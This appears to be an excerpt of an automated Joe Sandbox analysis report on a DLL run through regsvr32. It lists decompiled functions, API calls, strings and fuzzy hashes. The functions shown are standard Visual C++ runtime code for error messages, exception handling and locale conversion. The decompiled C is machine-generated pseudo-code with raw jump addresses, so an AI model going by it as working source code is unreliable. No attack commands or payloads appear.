WriteFile.KERNEL32 ref: 000007FEF9D2CC8E

Strings

2H, xrefs: 000007FEF9D2CDB9
wcscpy_s(progname, progname_size, L"<program name unknown>"), xrefs: 000007FEF9D2CDA3
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n"), xrefs: 000007FEF9D2CE95
<program name unknown>, xrefs: 000007FEF9D2CD68
wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3), xrefs: 000007FEF9D2CE50
Runtime Error!Program: , xrefs: 000007FEF9D2CCF8
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c, xrefs: 000007FEF9D2CD21, 000007FEF9D2CD95, 000007FEF9D2CE42, 000007FEF9D2CE87, 000007FEF9D2CECA
wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text), xrefs: 000007FEF9D2CED8
..., xrefs: 000007FEF9D2CE1A
wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: "), xrefs: 000007FEF9D2CD2F
Microsoft Visual C++ Runtime Library, xrefs: 000007FEF9D2CEEC
0I, xrefs: 000007FEF9D2CD0B
_NMSG_WRITE, xrefs: 000007FEF9D2CD28, 000007FEF9D2CD9C, 000007FEF9D2CE49, 000007FEF9D2CE8E, 000007FEF9D2CED1
_, xrefs: 000007FEF9D2CE71

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileHandleWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $_NMSG_WRITE$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\crt0msg.c$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")$wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)$wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")$wcscpy_s(progname, progname_size, L"<program name unknown>")$wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)$_$0I$2H
API String ID: 3320372497-2837547082
Opcode ID: bb867b9cd4420929bdb9afde1297a67263cb8f1db9c8fa78cbb90456e5291ccd
Instruction ID: 981f8f0912e596e51d2e9e4fc62e3c1b144262c9e2c6e30392df3237f0075012
Opcode Fuzzy Hash: bb867b9cd4420929bdb9afde1297a67263cb8f1db9c8fa78cbb90456e5291ccd
Instruction Fuzzy Hash: 9491FE31A1CA8685EBA0DB64E8943BE63E0F384784F604126D6CD47AB9DF3FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D312E3 Relevance: 35.1, APIs: 14, Strings: 6, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000007FEF9D312EA
GetProcAddress.KERNEL32 ref: 000007FEF9D31310

Strings

GetProcessWindowStation, xrefs: 000007FEF9D313B3
GetActiveWindow, xrefs: 000007FEF9D3133C
GetUserObjectInformationW, xrefs: 000007FEF9D31380
GetLastActivePopup, xrefs: 000007FEF9D3135E
USER32.DLL, xrefs: 000007FEF9D312E3
MessageBoxW, xrefs: 000007FEF9D31304

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 2574300362-564504941
Opcode ID: 6419c91a8387a46f3245e2fe33ee525fa99a19ae0c1292820c60068700cd62ec
Instruction ID: ae2d570b6cae00db451c80d1d2e323a85726552741c7696ed6bf884c957359fe
Opcode Fuzzy Hash: 6419c91a8387a46f3245e2fe33ee525fa99a19ae0c1292820c60068700cd62ec
Instruction Fuzzy Hash: 0F51A735A08A8286E7A09B19FC5476E73E4F784751F605035DACE43A74DF7EE488CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D376C0 Relevance: 33.3, APIs: 22, Instructions: 322COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37727
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3778E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D377C4
wcsncnt.LIBCMTD ref: 000007FEF9D37810
WideCharToMultiByte.KERNEL32 ref: 000007FEF9D3786A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D378C0
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D37C69

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWidewcsncnt
String ID:
API String ID: 641786319-0
Opcode ID: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction ID: 27f88887327b6a70fd6681a1572ed994cc0fbf2c3fc8410d15a0bdfd36c78ba8
Opcode Fuzzy Hash: dd68202ae9e70015e3243afc192c87c9af493ce1bfd3ef4005d4635320cae465
Instruction Fuzzy Hash: 7402F432A0CEC5C1D6A09B15E8903AEB7A0F7857A5F604226E6DD47BE9DF3ED445CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D340B0 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 341
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 20%

			E000007FE7FEF9D340B0(void* __ecx, void* __edi, void* __esi, void* __esp, void* __eflags, void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, void* _a16, long long _a24, void* _a32, signed int* _a40, signed int _a48, signed int _a56, long long _a64) {
				long long _v24;
				long long _v32;
				char _v56;
				long long _v64;
				long long _v72;
				char _v80;
				void* _v88;
				void* _v96;
				intOrPtr _v104;
				void* _v112;
				intOrPtr _v120;
				void* _v128;
				char _v132;
				char _v136;
				long long _v144;
				signed int _v152;
				char _v160;
				signed char _v164;
				signed int _v168;
				char _v176;
				char _v184;
				long long _v192;
				signed char _v200;
				long long _v208;
				signed int _v216;
				signed int _v224;
				long long _v232;
				void* _t222;
				void* _t244;
				void* _t295;
				long long _t302;
				long long _t303;
				intOrPtr _t311;
				long long _t312;
				long long _t321;
				intOrPtr _t325;
				long long _t329;
				long long _t330;
				long long _t332;

				_t295 = __rax;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v164 = 0;
				_v152 = 0;
				_v168 = E000007FE7FEF9D33B40(_a40, _a32);
				E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v160);
				if (_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40) <= 0) goto 0xf9d34176;
				r9d = _v168;
				E000007FE7FEF9D33BD0(_t217,  &_v160, _a32, _a40);
				r9d = _v168;
				E000007FE7FEF9D33C00(_v168 - E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40), _t295, _a16, _a32, _a40);
				goto 0xf9d34197;
				_v168 = E000007FE7FEF9D33C70(_t295, _a16, _a32, _a40);
				if (_v168 - 0xffffffff < 0) goto 0xf9d341b1;
				if (_v168 - _a40[1] >= 0) goto 0xf9d341b1;
				goto 0xf9d341b6;
				_t222 = E000007FE7FEF9D2CF80(_a40);
				if ( *_a8 != 0xe06d7363) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d34398;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d34213;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d34398;
				_t302 = _a8;
				if ( *((long long*)(_t302 + 0x30)) != 0) goto 0xf9d34398;
				0xf9d24000();
				if ( *((long long*)(_t302 + 0xf0)) != 0) goto 0xf9d3423a;
				goto 0xf9d34862;
				0xf9d24000();
				_t303 =  *((intOrPtr*)(_t302 + 0xf0));
				_a8 = _t303;
				0xf9d24000();
				_a24 =  *((intOrPtr*)(_t303 + 0xf8));
				_v164 = 1;
				E000007FE7FEF9D2E6E0(_t222, _a8,  *((intOrPtr*)(_a8 + 0x38)));
				if (E000007FE7FEF9D3D2C0(1, _a8) == 0) goto 0xf9d34290;
				goto 0xf9d34295;
				E000007FE7FEF9D2CF80(_a8);
				if ( *_a8 != 0xe06d7363) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d342fa;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d342e6;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d342fa;
				_t311 = _a8;
				if ( *((long long*)(_t311 + 0x30)) != 0) goto 0xf9d342fa;
				E000007FE7FEF9D2CF80(_t311);
				0xf9d24000();
				if ( *((long long*)(_t311 + 0x108)) == 0) goto 0xf9d34398;
				0xf9d24000();
				_t312 =  *((intOrPtr*)(_t311 + 0x108));
				_v144 = _t312;
				0xf9d24000();
				 *((long long*)(_t312 + 0x108)) = 0;
				if ((E000007FE7FEF9D35BB0(_t312, _a8, _v144) & 0x000000ff) == 0) goto 0xf9d34349;
				goto 0xf9d34398;
				if ((E000007FE7FEF9D35CC0(_v144) & 0x000000ff) == 0) goto 0xf9d34393;
				E000007FE7FEF9D35AB0(1, _a8);
				E000007FE7FEF9D34870( &_v56, "bad exception");
				E000007FE7FEF9D3D320(__edi, __esi, __esp,  &_v56, 0xf9d4a160);
				goto 0xf9d34398;
				E000007FE7FEF9D2CF50(_t312);
				if ( *_a8 != 0xe06d7363) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x18)) != 4) goto 0xf9d347d9;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930520) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) == 0x19930521) goto 0xf9d343f5;
				if ( *((intOrPtr*)(_a8 + 0x20)) != 0x19930522) goto 0xf9d347d9;
				if (_a40[3] <= 0) goto 0xf9d3466c;
				_v216 = _a32;
				_v224 =  &_v132;
				_t321 =  &_v136;
				_v232 = _t321;
				r9d = _v168;
				r8d = _a56;
				E000007FE7FEF9D2EA30(_a16, _a40);
				_v128 = _t321;
				goto 0xf9d3447e;
				_v136 = _v136 + 1;
				_v128 = _v128 + 0x14;
				if (_v136 - _v132 >= 0) goto 0xf9d3466c;
				if ( *_v128 - _v168 > 0) goto 0xf9d344b3;
				_t325 = _v128;
				if (_v168 -  *((intOrPtr*)(_t325 + 4)) <= 0) goto 0xf9d344b5;
				goto 0xf9d3445a;
				E000007FE7FEF9D2E680( *((intOrPtr*)(_t325 + 4)), _t325);
				_v112 = _t325 +  *((intOrPtr*)(_v128 + 0x10));
				_v120 =  *((intOrPtr*)(_v128 + 0xc));
				_v120 = _v120 - 1;
				_t329 = _v112 + 0x14;
				_v112 = _t329;
				if (_v120 <= 0) goto 0xf9d34667;
				_t244 = E000007FE7FEF9D2E6A0(_v120 - 1, _t329);
				_t330 = _t329 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc)) + 4;
				_v96 = _t330;
				E000007FE7FEF9D2E6A0(_t244, _t330);
				_v104 =  *((intOrPtr*)(_t330 +  *((intOrPtr*)( *((intOrPtr*)(_a8 + 0x30)) + 0xc))));
				goto 0xf9d3457e;
				_v104 = _v104 - 1;
				_t332 = _v96 + 4;
				_v96 = _t332;
				if (_v104 <= 0) goto 0xf9d34662;
				E000007FE7FEF9D2E6A0(_v104 - 1, _t332);
				_v88 = _t332 +  *_v96;
				if (E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))) != 0) goto 0xf9d345ce;
				goto 0xf9d3455a;
				_v152 = 1;
				_v176 = _a48 & 0x000000ff;
				_v184 = _v164 & 0x000000ff;
				_v192 = _a64;
				_v200 = _a56;
				_v208 = _v128;
				_v216 = _v88;
				_v224 = _v112;
				_v232 = _a40;
				E000007FE7FEF9D35180(__edi, __esi, __esp, E000007FE7FEF9D34CD0(_v112, _v88,  *((intOrPtr*)(_a8 + 0x30))), _a8, _a16, _a24, _a32);
				goto 0xf9d34667;
				goto 0xf9d3455a;
				goto L1;
				goto 0xf9d3445a;
				__eax = _v152 & 0x000000ff;
				__eflags = _v152 & 0x000000ff;
				if ((_v152 & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a40;
				__eax =  *_a40;
				__eax =  *_a40 & 0x1fffffff;
				__eflags = __eax - 0x19930521;
				if (__eax - 0x19930521 < 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d346bf;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				_v32 = __rax;
				goto 0xf9d346cb;
				_v32 = 0;
				__eflags = _v32;
				if (_v32 == 0) goto 0xf9d347d7;
				__rax = _a40;
				__eflags =  *(__rax + 0x20);
				if ( *(__rax + 0x20) == 0) goto 0xf9d34706;
				__eax = E000007FE7FEF9D2E680(__eax, __rax);
				_a40 = _a40[8];
				__rax = __rax + _a40[8];
				_v24 = __rax;
				goto 0xf9d34712;
				_v24 = 0;
				__rdx = _v24;
				__rcx = _a8;
				E000007FE7FEF9D35BB0(__rax, _a8, _v24) = __al & 0x000000ff;
				__eflags = __al & 0x000000ff;
				if ((__al & 0x000000ff) != 0) goto 0xf9d347d7;
				__rax = _a16;
				_v64 = _a16;
				__r9 =  &_v80;
				__r8 = _a40;
				__rdx = _a32;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2E500(_a16, _a32, _a40,  &_v80);
				_v64 = __rax;
				_v72 = 0;
				__eax = _a48 & 0x000000ff;
				_v200 = __al;
				__rax = _a32;
				_v208 = _a32;
				__rax = _a40;
				_v216 = _a40;
				_v224 = 0xffffffff;
				_v232 = 0;
				__r9 = _v64;
				__r8 = _a24;
				__rdx = _a8;
				__rcx = _a16;
				__eax = E000007FE7FEF9D2EDC0(__edi, __esi, __esp, _a16, _a8, _a24, _v64);
				goto 0xf9d3484c;
				__rax = _a40;
				__eflags =  *(__rax + 0xc);
				if ( *(__rax + 0xc) <= 0) goto 0xf9d3484c;
				__eax = _a48 & 0x000000ff;
				__eflags = _a48 & 0x000000ff;
				if ((_a48 & 0x000000ff) != 0) goto 0xf9d34847;
				__rax = _a64;
				_v208 = _a64;
				__eax = _a56;
				_v216 = _a56;
				__eax = _v168;
				_v224 = _v168;
				__rax = _a40;
				_v232 = _a40;
				__r9 = _a32;
				__r8 = _a24;
				__rdx = _a16;
				__rcx = _a8;
				__eax = E000007FE7FEF9D34960(__ecx, _a8, _a16, _a24, _a32);
				goto 0xf9d3484c;
				__eax = E000007FE7FEF9D2CF50(__rax);
				0xf9d24000();
				__eflags =  *((long long*)(__rax + 0x108));
				if ( *((long long*)(__rax + 0x108)) != 0) goto 0xf9d3485d;
				goto 0xf9d34862;
				return E000007FE7FEF9D2CF80(__rax);
			}

0x7fef9d340b0
0x7fef9d340b0
0x7fef9d340b5
0x7fef9d340ba
0x7fef9d340bf
0x7fef9d340cb
0x7fef9d340d0
0x7fef9d340ea
0x7fef9d3410b
0x7fef9d34131
0x7fef9d34133
0x7fef9d3414d
0x7fef9d34152
0x7fef9d3416f
0x7fef9d34174
0x7fef9d34193
0x7fef9d3419c
0x7fef9d341ad
0x7fef9d341af
0x7fef9d341b1
0x7fef9d341c4
0x7fef9d341d6
0x7fef9d341eb
0x7fef9d341fc
0x7fef9d3420d
0x7fef9d34213
0x7fef9d34220
0x7fef9d34226
0x7fef9d34233
0x7fef9d34235
0x7fef9d3423a
0x7fef9d3423f
0x7fef9d34246
0x7fef9d3424e
0x7fef9d3425a
0x7fef9d34262
0x7fef9d34273
0x7fef9d3428c
0x7fef9d3428e
0x7fef9d34290
0x7fef9d342a3
0x7fef9d342b1
0x7fef9d342c2
0x7fef9d342d3
0x7fef9d342e4
0x7fef9d342e6
0x7fef9d342f3
0x7fef9d342f5
0x7fef9d342fa
0x7fef9d34307
0x7fef9d3430d
0x7fef9d34312
0x7fef9d34319
0x7fef9d3431e
0x7fef9d34323
0x7fef9d34345
0x7fef9d34347
0x7fef9d34358
0x7fef9d34364
0x7fef9d34378
0x7fef9d3438c
0x7fef9d34391
0x7fef9d34393
0x7fef9d343a6
0x7fef9d343b8
0x7fef9d343cd
0x7fef9d343de
0x7fef9d343ef
0x7fef9d34401
0x7fef9d3440f
0x7fef9d3441c
0x7fef9d34421
0x7fef9d34429
0x7fef9d3442e
0x7fef9d34433
0x7fef9d3444b
0x7fef9d34450
0x7fef9d34458
0x7fef9d34463
0x7fef9d34476
0x7fef9d3448c
0x7fef9d344a0
0x7fef9d344a2
0x7fef9d344b1
0x7fef9d344b3
0x7fef9d344b5
0x7fef9d344c9
0x7fef9d344dc
0x7fef9d344ee
0x7fef9d344fd
0x7fef9d34501
0x7fef9d34511
0x7fef9d34517
0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

csm, xrefs: 000007FEF9D343A0
bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D3429D
csm, xrefs: 000007FEF9D341BE

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: 8c50efc0869d6d00d6f15bc2f3e4a8aa3cd75fee2d20c8f1ee388d100984527e
Instruction ID: 7a4295b2110f602878fc3b4740f95154d7254c41b9f584a981bc20edbc55875e
Opcode Fuzzy Hash: 8c50efc0869d6d00d6f15bc2f3e4a8aa3cd75fee2d20c8f1ee388d100984527e
Instruction Fuzzy Hash: 6D12D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30
(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 2e8f2817575abf17236a5f031f9d249ff9066c6c73ed3770e2a1ff63e1bea630
Instruction ID: 2efa9e2c76ac9a5207add94b1133c9cb1d9f002e85ba24f4cd28f4c384247538
Opcode Fuzzy Hash: 2e8f2817575abf17236a5f031f9d249ff9066c6c73ed3770e2a1ff63e1bea630
Instruction Fuzzy Hash: 62023B72A0D7C28AE7B09B24E8447AEB7E4F380349F604125D6DC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88

Memory Dump Source

Source File: 00000003.00000002.917585248.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.917582785.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917601106.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917607068.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.917614005.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: fa484580cb52892c02ff67f95a17d1b2129cff6d1ab00e5c74c45926566419d1
Instruction ID: 5e2c1cfd74ac96a9b2e41df821e9bd095c4032b9a62c445e43c495128706d0cc
Opcode Fuzzy Hash: fa484580cb52892c02ff67f95a17d1b2129cff6d1ab00e5c74c45926566419d1
Instruction Fuzzy Hash: E2D11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

